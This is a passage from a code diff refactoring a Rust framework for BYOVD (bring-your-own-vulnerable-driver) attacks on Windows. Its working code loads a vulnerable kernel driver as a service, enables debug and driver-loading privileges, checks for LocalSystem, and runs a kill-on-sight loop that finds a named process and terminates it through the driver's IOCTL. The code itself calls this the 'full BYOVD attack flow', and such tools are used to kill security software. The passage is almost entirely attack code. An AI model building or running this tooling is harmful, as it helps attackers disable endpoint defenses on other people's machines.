println!("[!] Service '{}' already exists", driver_name);
|
||||
service
|
||||
}
|
||||
None => {
|
||||
println!("[*] Creating service '{}'", driver_name);
|
||||
|
||||
let driver_path = match driver_path_override {
|
||||
Some(path) => path.to_string(),
|
||||
None => {
|
||||
let current_dir = get_current_dir()?;
|
||||
format!("{}\\{}", current_dir, driver_file)
|
||||
}
|
||||
};
|
||||
println!("[*] Driver path: {}", driver_path);
|
||||
|
||||
// SAFETY: sc_manager handle is valid, strings are null-terminated
|
||||
ServiceHandle::new(unsafe {
|
||||
CreateServiceW(
|
||||
sc_manager.as_raw(),
|
||||
to_wstring(driver_name).as_ptr(),
|
||||
to_wstring(driver_name).as_ptr(),
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
to_wstring(&driver_path).as_ptr(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
)
|
||||
})
|
||||
.ok_or("Failed to create service")?
|
||||
}
|
||||
};
|
||||
|
||||
Ok(Self {
|
||||
_sc_manager: sc_manager,
|
||||
service,
|
||||
})
|
||||
}
|
||||
|
||||
/// Start the driver service.
|
||||
/// Returns Ok if the service starts or is already running.
|
||||
pub fn start(&self) -> Result<()> {
|
||||
println!("[*] Starting driver service");
|
||||
|
||||
// SAFETY: service handle is valid
|
||||
let result = unsafe { StartServiceW(self.service.as_raw(), 0, null_mut()) };
|
||||
|
||||
if result == 0 {
|
||||
let error = std::io::Error::last_os_error();
|
||||
// ERROR_SERVICE_ALREADY_RUNNING = 1056
|
||||
if error.raw_os_error() == Some(1056) {
|
||||
println!("[!] Driver already running");
|
||||
return Ok(());
|
||||
}
|
||||
return Err(format!("Failed to start service: {}", error).into());
|
||||
}
|
||||
|
||||
println!("[+] Driver started successfully");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stop the driver service and mark it for deletion.
|
||||
pub fn stop(&self) -> Result<()> {
|
||||
println!("[*] Stopping driver service");
|
||||
|
||||
let mut status: SERVICE_STATUS = unsafe { mem::zeroed() };
|
||||
|
||||
// SAFETY: service handle is valid, status is properly allocated
|
||||
unsafe {
|
||||
ControlService(
|
||||
self.service.as_raw(),
|
||||
SERVICE_CONTROL_STOP,
|
||||
&mut status,
|
||||
);
|
||||
|
||||
if DeleteService(self.service.as_raw()) != 0 {
|
||||
println!("[+] Service marked for deletion");
|
||||
} else {
|
||||
println!("[!] Failed to delete service (may require reboot)");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// IOCTL Dispatch
|
||||
// ============================================================================
|
||||
|
||||
/// Send an IOCTL to the driver device to terminate a target process.
|
||||
/// Send the kill IOCTL described by `config` to terminate `pid`.
|
||||
///
|
||||
/// Opens the device, builds the input from `DriverConfig::build_ioctl_input`,
|
||||
/// and dispatches with the configured IOCTL code. Honors `ignore_ioctl_error`.
|
||||
pub fn send_ioctl(config: &dyn DriverConfig, pid: u32, process_name: &str) -> Result<()> {
|
||||
// SAFETY: device_path is null-terminated via to_wstring
|
||||
let driver_handle = FileHandle::new(unsafe {
|
||||
CreateFileW(
|
||||
to_wstring(config.device_path()).as_ptr(),
|
||||
config.device_access(),
|
||||
0,
|
||||
null_mut(),
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
null_mut(),
|
||||
)
|
||||
})
|
||||
.ok_or("Failed to open driver device")?;
|
||||
let device = DeviceHandle::open_with_access(config.device_path(), config.device_access())
|
||||
.map_err(|_| "Failed to open driver device")?;
|
||||
|
||||
let input = config.build_ioctl_input(pid, process_name);
|
||||
let output_size = config.ioctl_output_size();
|
||||
let mut output_buffer = vec![0u8; if output_size > 0 { output_size } else { 4 }];
|
||||
let mut bytes_returned: DWORD = 0;
|
||||
|
||||
// SAFETY: driver_handle is valid, input/output buffers are properly sized
|
||||
let success = unsafe {
|
||||
DeviceIoControl(
|
||||
driver_handle.as_raw(),
|
||||
config.ioctl_code(),
|
||||
input.as_ptr() as LPVOID,
|
||||
input.len() as DWORD,
|
||||
if output_size > 0 {
|
||||
output_buffer.as_mut_ptr() as LPVOID
|
||||
} else {
|
||||
null_mut()
|
||||
},
|
||||
output_size as DWORD,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
)
|
||||
let mut output_buf = vec![0u8; output_size.max(1)];
|
||||
let output = if output_size > 0 {
|
||||
Some(&mut output_buf[..output_size])
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if success == 0 && !config.ignore_ioctl_error() {
|
||||
return Err("IOCTL call failed".into());
|
||||
}
|
||||
device.ioctl_bytes_legacy(
|
||||
config.ioctl_code(),
|
||||
&input,
|
||||
output,
|
||||
!config.ignore_ioctl_error(),
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Monitor Loop
|
||||
// Monitor loop — trait-driven wrapper over the closure-based loop
|
||||
// ============================================================================
|
||||
|
||||
/// Run the process monitoring loop.
|
||||
/// Run the trait-driven kill-on-sight monitor.
|
||||
///
|
||||
/// Continuously scans for a target process by name and sends the kill IOCTL
|
||||
/// when found. Runs until Ctrl+C is pressed.
|
||||
/// Continuously scans for `process_name` and dispatches the kill IOCTL on each
|
||||
/// match. Runs until Ctrl+C.
|
||||
pub fn run_monitor(config: &dyn DriverConfig, process_name: &str) -> Result<()> {
|
||||
let running = Arc::new(AtomicBool::new(true));
|
||||
let running_clone = running.clone();
|
||||
|
||||
ctrlc::set_handler(move || {
|
||||
println!("\n[!] Shutting down...");
|
||||
running_clone.store(false, Ordering::SeqCst);
|
||||
})?;
|
||||
|
||||
println!(
|
||||
"[*] Monitoring for process: {} (Press Ctrl+C to stop)\n",
|
||||
process_name
|
||||
);
|
||||
|
||||
while running.load(Ordering::SeqCst) {
|
||||
if let Some(pid) = get_pid_by_name(process_name) {
|
||||
match send_ioctl(config, pid, process_name) {
|
||||
Ok(_) => println!("[+] Terminated PID: {}", pid),
|
||||
Err(e) => eprintln!("[X] Failed to kill PID {}: {}", pid, e),
|
||||
}
|
||||
}
|
||||
|
||||
thread::sleep(Duration::from_millis(MONITOR_INTERVAL_MS));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
run_monitor_loop(process_name, LEGACY_MONITOR_INTERVAL, |pid| {
|
||||
send_ioctl(config, pid, process_name)
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Full BYOVD Run
|
||||
// Full BYOVD flow — preserved high-level entry point
|
||||
// ============================================================================
|
||||
|
||||
/// Execute the full BYOVD attack flow:
|
||||
/// 1. Run preflight checks
|
||||
/// 2. Load and start the vulnerable driver
|
||||
/// 3. Monitor and kill the target process
|
||||
/// 4. Clean up (stop/delete the driver service)
|
||||
/// 3. Monitor and kill the target process (until Ctrl+C)
|
||||
/// 4. Clean up (stop + mark service for deletion)
|
||||
pub fn run(
|
||||
config: &dyn DriverConfig,
|
||||
process_name: &str,
|
||||
driver_path: Option<&str>,
|
||||
) -> Result<()> {
|
||||
// Pre-flight checks (e.g., privilege verification)
|
||||
config.preflight_check()?;
|
||||
|
||||
// Initialize and start driver
|
||||
let driver = DriverManager::new(config.driver_name(), config.driver_file(), driver_path)?;
|
||||
let driver = ByovdDriver::install(
|
||||
config.driver_name(),
|
||||
config.driver_file(),
|
||||
Some(config.device_path()),
|
||||
driver_path,
|
||||
)?;
|
||||
driver.start()?;
|
||||
|
||||
// Run monitoring loop
|
||||
run_monitor(config, process_name)?;
|
||||
|
||||
// Cleanup
|
||||
if !config.skip_unload() {
|
||||
println!("\n[*] Cleaning up...");
|
||||
driver.stop()?;
|
||||
driver.stop_and_delete()?;
|
||||
} else {
|
||||
println!("\n[!] Skipping driver unload (driver does not support safe unload)");
|
||||
}
|
||||
@@ -406,102 +179,3 @@ pub fn run(
|
||||
println!("[+] Done");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Utility Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Convert a Rust string to a null-terminated wide string (UTF-16).
|
||||
pub fn to_wstring(s: &str) -> Vec<u16> {
|
||||
OsStr::new(s).encode_wide().chain(Some(0)).collect()
|
||||
}
|
||||
|
||||
/// Get the current working directory as a String.
|
||||
pub fn get_current_dir() -> Result<String> {
|
||||
let mut buf = vec![0u16; MAX_PATH];
|
||||
// SAFETY: buffer is properly sized
|
||||
let len = unsafe { GetCurrentDirectoryW(buf.len() as u32, buf.as_mut_ptr()) };
|
||||
|
||||
if len == 0 {
|
||||
return Err("Failed to get current directory".into());
|
||||
}
|
||||
|
||||
buf.truncate(len as usize);
|
||||
Ok(String::from_utf16_lossy(&buf))
|
||||
}
|
||||
|
||||
/// Find a process by name and return its PID.
|
||||
/// Comparison is case-insensitive.
|
||||
pub fn get_pid_by_name(process_name: &str) -> Option<u32> {
|
||||
// SAFETY: standard snapshot creation
|
||||
let snapshot = FileHandle::new(unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) })?;
|
||||
|
||||
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
|
||||
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
|
||||
|
||||
// SAFETY: snapshot is valid, entry is properly initialized with dwSize
|
||||
if unsafe { Process32First(snapshot.as_raw(), &mut entry) } == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target = process_name.to_lowercase();
|
||||
|
||||
loop {
|
||||
// SAFETY: szExeFile is a null-terminated C string
|
||||
let current = unsafe { CStr::from_ptr(entry.szExeFile.as_ptr()) }
|
||||
.to_string_lossy()
|
||||
.to_lowercase();
|
||||
|
||||
if current == target {
|
||||
return Some(entry.th32ProcessID);
|
||||
}
|
||||
|
||||
// SAFETY: snapshot and entry remain valid
|
||||
if unsafe { Process32Next(snapshot.as_raw(), &mut entry) } == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Verify the current process is running as LocalSystem (S-1-5-18).
|
||||
/// Returns an error if not running as LocalSystem.
|
||||
pub fn ensure_running_as_local_system() -> Result<()> {
|
||||
use winapi::um::securitybaseapi::{CheckTokenMembership, CreateWellKnownSid};
|
||||
|
||||
let mut sid = [0u8; SECURITY_MAX_SID_SIZE as usize];
|
||||
let mut sid_size = sid.len() as DWORD;
|
||||
|
||||
// SAFETY: sid buffer is large enough for any well-known SID
|
||||
let created = unsafe {
|
||||
CreateWellKnownSid(
|
||||
WinLocalSystemSid,
|
||||
null_mut(),
|
||||
sid.as_mut_ptr() as *mut _,
|
||||
&mut sid_size,
|
||||
)
|
||||
};
|
||||
|
||||
if created == 0 {
|
||||
return Err("Failed to build LocalSystem SID".into());
|
||||
}
|
||||
|
||||
let mut is_member: i32 = 0;
|
||||
|
||||
// SAFETY: SID was successfully created, is_member is valid out pointer
|
||||
let checked = unsafe {
|
||||
CheckTokenMembership(null_mut(), sid.as_mut_ptr() as *mut _, &mut is_member)
|
||||
};
|
||||
|
||||
if checked == 0 {
|
||||
return Err("Failed to verify token membership".into());
|
||||
}
|
||||
|
||||
if is_member == 0 {
|
||||
return Err("Not running as LocalSystem (S-1-5-18). Use PsExec or similar.".into());
|
||||
}
|
||||
|
||||
println!("[+] Running as LocalSystem confirmed");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::process::find_pid_by_name;
|
||||
use crate::Result;
|
||||
|
||||
/// Install a Ctrl+C handler that clears the returned flag on signal.
|
||||
///
|
||||
/// Use this when you need a custom monitoring loop. For the standard PID-based
|
||||
/// loop, use [`run_monitor_loop`].
|
||||
pub fn setup_ctrlc_handler() -> Result<Arc<AtomicBool>> {
|
||||
let running = Arc::new(AtomicBool::new(true));
|
||||
let r = running.clone();
|
||||
|
||||
ctrlc::set_handler(move || {
|
||||
println!("\n[!] Shutting down...");
|
||||
r.store(false, Ordering::SeqCst);
|
||||
})?;
|
||||
|
||||
Ok(running)
|
||||
}
|
||||
|
||||
/// Repeatedly look up `process_name` and call `on_found(pid)` on every match.
|
||||
///
|
||||
/// Loop exits on Ctrl+C. The closure form lets callers do whatever they want
|
||||
/// per-PID (custom IOCTLs, multi-PID fan-out, structured logging) instead of
|
||||
/// being locked into the trait-driven `send_ioctl` path.
|
||||
pub fn run_monitor_loop<F>(process_name: &str, interval: Duration, mut on_found: F) -> Result<()>
|
||||
where
|
||||
F: FnMut(u32) -> Result<()>,
|
||||
{
|
||||
let running = setup_ctrlc_handler()?;
|
||||
|
||||
println!(
|
||||
"[*] Monitoring for process: {} (Press Ctrl+C to stop)",
|
||||
process_name
|
||||
);
|
||||
|
||||
while running.load(Ordering::SeqCst) {
|
||||
if let Some(pid) = find_pid_by_name(process_name) {
|
||||
match on_found(pid) {
|
||||
Ok(()) => println!("[+] Killed PID {}", pid),
|
||||
Err(e) => eprintln!("[!] Failed to kill PID {}: {}", pid, e),
|
||||
}
|
||||
}
|
||||
thread::sleep(interval);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
use std::ffi::CString;
|
||||
use std::mem;
|
||||
use std::ptr::null_mut;
|
||||
|
||||
use winapi::shared::minwindef::{DWORD, FALSE};
|
||||
use winapi::um::errhandlingapi::GetLastError;
|
||||
use winapi::um::processthreadsapi::{GetCurrentProcess, OpenProcessToken};
|
||||
use winapi::um::securitybaseapi::{AdjustTokenPrivileges, CheckTokenMembership, CreateWellKnownSid};
|
||||
use winapi::um::winbase::LookupPrivilegeValueA;
|
||||
use winapi::um::winnt::{
|
||||
WinLocalSystemSid, LUID, LUID_AND_ATTRIBUTES, SECURITY_MAX_SID_SIZE, SE_PRIVILEGE_ENABLED,
|
||||
TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES, TOKEN_QUERY,
|
||||
};
|
||||
|
||||
use crate::handle::WinHandle;
|
||||
use crate::Result;
|
||||
|
||||
/// Enable a named privilege for the current process token.
|
||||
///
|
||||
/// Common privilege names:
|
||||
/// - `"SeDebugPrivilege"`
|
||||
/// - `"SeLoadDriverPrivilege"`
|
||||
pub fn enable_privilege(privilege_name: &str) -> Result<()> {
|
||||
unsafe {
|
||||
let mut token = null_mut();
|
||||
if OpenProcessToken(
|
||||
GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
||||
&mut token,
|
||||
) == 0
|
||||
{
|
||||
return Err(format!(
|
||||
"Failed to open process token (error {})",
|
||||
GetLastError()
|
||||
)
|
||||
.into());
|
||||
}
|
||||
|
||||
let token_handle = WinHandle::new(token)?;
|
||||
|
||||
let mut luid: LUID = mem::zeroed();
|
||||
let priv_cstr = CString::new(privilege_name)
|
||||
.map_err(|_| "Privilege name contains null byte")?;
|
||||
|
||||
if LookupPrivilegeValueA(null_mut(), priv_cstr.as_ptr(), &mut luid) == 0 {
|
||||
return Err(format!(
|
||||
"Failed to look up privilege '{}' (error {})",
|
||||
privilege_name,
|
||||
GetLastError()
|
||||
)
|
||||
.into());
|
||||
}
|
||||
|
||||
let mut tp = TOKEN_PRIVILEGES {
|
||||
PrivilegeCount: 1,
|
||||
Privileges: [LUID_AND_ATTRIBUTES {
|
||||
Luid: luid,
|
||||
Attributes: SE_PRIVILEGE_ENABLED,
|
||||
}],
|
||||
};
|
||||
|
||||
if AdjustTokenPrivileges(
|
||||
token_handle.as_raw(),
|
||||
FALSE,
|
||||
&mut tp,
|
||||
mem::size_of::<TOKEN_PRIVILEGES>() as u32,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
) == 0
|
||||
{
|
||||
return Err(format!(
|
||||
"Failed to adjust token privileges (error {})",
|
||||
GetLastError()
|
||||
)
|
||||
.into());
|
||||
}
|
||||
|
||||
println!("[+] Enabled privilege: {}", privilege_name);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// Verify the current process is running as LocalSystem (S-1-5-18).
|
||||
/// Returns an error if not.
|
||||
pub fn ensure_running_as_local_system() -> Result<()> {
|
||||
let mut sid = [0u8; SECURITY_MAX_SID_SIZE as usize];
|
||||
let mut sid_size = sid.len() as DWORD;
|
||||
|
||||
let created = unsafe {
|
||||
CreateWellKnownSid(
|
||||
WinLocalSystemSid,
|
||||
null_mut(),
|
||||
sid.as_mut_ptr() as *mut _,
|
||||
&mut sid_size,
|
||||
)
|
||||
};
|
||||
|
||||
if created == 0 {
|
||||
return Err("Failed to build LocalSystem SID".into());
|
||||
}
|
||||
|
||||
let mut is_member: i32 = 0;
|
||||
let checked = unsafe {
|
||||
CheckTokenMembership(null_mut(), sid.as_mut_ptr() as *mut _, &mut is_member)
|
||||
};
|
||||
|
||||
if checked == 0 {
|
||||
return Err("Failed to verify token membership".into());
|
||||
}
|
||||
|
||||
if is_member == 0 {
|
||||
return Err("Not running as LocalSystem (S-1-5-18). Use PsExec or similar.".into());
|
||||
}
|
||||
|
||||
println!("[+] Running as LocalSystem confirmed");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
use std::ffi::CStr;
|
||||
use std::mem;
|
||||
|
||||
use winapi::um::tlhelp32::{
|
||||
CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
|
||||
};
|
||||
|
||||
use crate::handle::WinHandle;
|
||||
|
||||
/// Find the first process matching `name` (case-insensitive) and return its PID.
|
||||
pub fn find_pid_by_name(name: &str) -> Option<u32> {
|
||||
let snapshot =
|
||||
WinHandle::new(unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }).ok()?;
|
||||
|
||||
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
|
||||
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
|
||||
|
||||
if unsafe { Process32First(snapshot.as_raw(), &mut entry) } == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target = name.to_lowercase();
|
||||
|
||||
loop {
|
||||
let current = unsafe { CStr::from_ptr(entry.szExeFile.as_ptr()) }
|
||||
.to_string_lossy()
|
||||
.to_lowercase();
|
||||
|
||||
if current == target {
|
||||
return Some(entry.th32ProcessID);
|
||||
}
|
||||
|
||||
if unsafe { Process32Next(snapshot.as_raw(), &mut entry) } == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Find all PIDs of processes matching `name` (case-insensitive), excluding system PIDs (≤ 4).
|
||||
pub fn find_all_pids_by_name(name: &str) -> Vec<u32> {
|
||||
let mut pids = Vec::new();
|
||||
|
||||
let snapshot = match WinHandle::new(unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) })
|
||||
{
|
||||
Ok(s) => s,
|
||||
Err(_) => return pids,
|
||||
};
|
||||
|
||||
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
|
||||
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
|
||||
|
||||
if unsafe { Process32First(snapshot.as_raw(), &mut entry) } == 0 {
|
||||
return pids;
|
||||
}
|
||||
|
||||
let target = name.to_lowercase();
|
||||
|
||||
loop {
|
||||
let current = unsafe { CStr::from_ptr(entry.szExeFile.as_ptr()) }
|
||||
.to_string_lossy()
|
||||
.to_lowercase();
|
||||
|
||||
if current == target && entry.th32ProcessID > 4 {
|
||||
pids.push(entry.th32ProcessID);
|
||||
}
|
||||
|
||||
if unsafe { Process32Next(snapshot.as_raw(), &mut entry) } == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
pids
|
||||
}
|
||||
|
||||
/// Back-compat alias for `find_pid_by_name`.
|
||||
pub fn get_pid_by_name(name: &str) -> Option<u32> {
|
||||
find_pid_by_name(name)
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
use std::ptr::null_mut;
|
||||
|
||||
use winapi::um::errhandlingapi::GetLastError;
|
||||
use winapi::um::winnt::{SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, SERVICE_KERNEL_DRIVER};
|
||||
use winapi::um::winsvc::{
|
||||
ControlService, CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, StartServiceW,
|
||||
SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS, SERVICE_CONTROL_STOP, SERVICE_STATUS,
|
||||
};
|
||||
|
||||
use crate::device::DeviceHandle;
|
||||
use crate::handle::ScHandle;
|
||||
use crate::util::{get_current_dir, to_wstring};
|
||||
use crate::Result;
|
||||
|
||||
/// Manages the SCM lifecycle of a vulnerable driver.
|
||||
///
|
||||
/// Modern usage:
|
||||
/// ```ignore
|
||||
/// let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
|
||||
/// driver.start()?;
|
||||
/// let device = driver.open_device()?;
|
||||
/// device.ioctl_in(0xDEAD, &target_pid)?;
|
||||
/// driver.stop_and_delete()?;
|
||||
/// ```
|
||||
pub struct ByovdDriver {
|
||||
_sc_manager: ScHandle,
|
||||
service: ScHandle,
|
||||
device_path: Option<String>,
|
||||
}
|
||||
|
||||
impl ByovdDriver {
|
||||
/// Modern constructor: stores `device_path` so `open_device()` works.
|
||||
/// Driver file is resolved next to the executable (current working directory).
|
||||
pub fn new(service_name: &str, driver_filename: &str, device_path: &str) -> Result<Self> {
|
||||
Self::install(service_name, driver_filename, Some(device_path), None)
|
||||
}
|
||||
|
||||
/// General constructor with full control over device path and driver file location.
|
||||
///
|
||||
/// - `service_name` — Windows service name to register
|
||||
/// - `driver_filename` — `.sys` filename, looked up next to the executable
|
||||
/// unless `driver_path_override` provides an absolute path
|
||||
/// - `device_path` — `Some("\\\\.\\Device")` enables `open_device()`,
|
||||
/// `None` keeps the manager device-less (back-compat with the old API)
|
||||
/// - `driver_path_override` — full path to the `.sys` file, overriding CWD
|
||||
pub fn install(
|
||||
service_name: &str,
|
||||
driver_filename: &str,
|
||||
device_path: Option<&str>,
|
||||
driver_path_override: Option<&str>,
|
||||
) -> Result<Self> {
|
||||
println!("[*] Opening Service Control Manager");
|
||||
let sc_manager = ScHandle::new(unsafe {
|
||||
OpenSCManagerW(null_mut(), null_mut(), SC_MANAGER_CREATE_SERVICE)
|
||||
})
|
||||
.map_err(|_| "Failed to open Service Control Manager")?;
|
||||
|
||||
let name_w = to_wstring(service_name);
|
||||
let raw_existing =
|
||||
unsafe { OpenServiceW(sc_manager.as_raw(), name_w.as_ptr(), SERVICE_ALL_ACCESS) };
|
||||
|
||||
let service = if !raw_existing.is_null() {
|
||||
println!("[!] Service '{}' already exists", service_name);
|
||||
ScHandle::new(raw_existing)?
|
||||
} else {
|
||||
println!("[*] Creating service '{}'", service_name);
|
||||
let resolved_path = match driver_path_override {
|
||||
Some(p) => p.to_string(),
|
||||
None => format!("{}\\{}", get_current_dir()?, driver_filename),
|
||||
};
|
||||
println!("[*] Driver path: {}", resolved_path);
|
||||
|
||||
ScHandle::new(unsafe {
|
||||
CreateServiceW(
|
||||
sc_manager.as_raw(),
|
||||
name_w.as_ptr(),
|
||||
name_w.as_ptr(),
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
to_wstring(&resolved_path).as_ptr(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
)
|
||||
})
|
||||
.map_err(|_| "Failed to create service")?
|
||||
};
|
||||
|
||||
Ok(Self {
|
||||
_sc_manager: sc_manager,
|
||||
service,
|
||||
device_path: device_path.map(|s| s.to_string()),
|
||||
})
|
||||
}
|
||||
|
||||
/// Start the driver service. Treats `ERROR_SERVICE_ALREADY_RUNNING` as success.
|
||||
pub fn start(&self) -> Result<()> {
|
||||
println!("[*] Starting driver service");
|
||||
let result = unsafe { StartServiceW(self.service.as_raw(), 0, null_mut()) };
|
||||
|
||||
if result == 0 {
|
||||
let err = unsafe { GetLastError() };
|
||||
// ERROR_SERVICE_ALREADY_RUNNING = 1056
|
||||
if err == 1056 {
|
||||
println!("[!] Driver already running");
|
||||
return Ok(());
|
||||
}
|
||||
return Err(format!("Failed to start service (error {})", err).into());
|
||||
}
|
||||
|
||||
println!("[+] Driver started successfully");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stop the driver service and mark it for deletion.
|
||||
pub fn stop_and_delete(&self) -> Result<()> {
|
||||
println!("[*] Stopping driver service");
|
||||
let mut status: SERVICE_STATUS = unsafe { std::mem::zeroed() };
|
||||
unsafe {
|
||||
ControlService(self.service.as_raw(), SERVICE_CONTROL_STOP, &mut status);
|
||||
if DeleteService(self.service.as_raw()) != 0 {
|
||||
println!("[+] Service marked for deletion");
|
||||
} else {
|
||||
println!("[!] Failed to delete service (may require reboot)");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Back-compat alias for `stop_and_delete()`.
|
||||
pub fn stop(&self) -> Result<()> {
|
||||
self.stop_and_delete()
|
||||
}
|
||||
|
||||
/// Open the driver's device for IOCTL communication.
|
||||
/// Requires `device_path` provided at construction.
|
||||
pub fn open_device(&self) -> Result<DeviceHandle> {
|
||||
let path = self
|
||||
.device_path
|
||||
.as_deref()
|
||||
.ok_or("device_path not set; construct with ByovdDriver::new() to enable open_device()")?;
|
||||
DeviceHandle::open(path)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
use std::ffi::{CString, OsStr};
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
|
||||
use winapi::um::processenv::GetCurrentDirectoryW;
|
||||
|
||||
use crate::Result;
|
||||
|
||||
const MAX_PATH: usize = 260;
|
||||
|
||||
/// Convert a `&str` to a null-terminated wide string suitable for Win32 W-suffix APIs.
|
||||
pub fn to_wstring(s: &str) -> Vec<u16> {
|
||||
OsStr::new(s).encode_wide().chain(Some(0)).collect()
|
||||
}
|
||||
|
||||
/// Convert a `&str` to a null-terminated `CString` for Win32 A-suffix APIs.
|
||||
pub fn to_cstring(s: &str) -> CString {
|
||||
CString::new(s).expect("string contains interior null byte")
|
||||
}
|
||||
|
||||
/// Return the current working directory as a UTF-8 `String`.
|
||||
pub fn get_current_dir() -> Result<String> {
|
||||
let mut buf = vec![0u16; MAX_PATH];
|
||||
let len = unsafe { GetCurrentDirectoryW(buf.len() as u32, buf.as_mut_ptr()) };
|
||||
|
||||
if len == 0 {
|
||||
return Err("Failed to get current directory".into());
|
||||
}
|
||||
|
||||
buf.truncate(len as usize);
|
||||
Ok(String::from_utf16_lossy(&buf))
|
||||
}
|
||||
Reference in New Issue
Block a user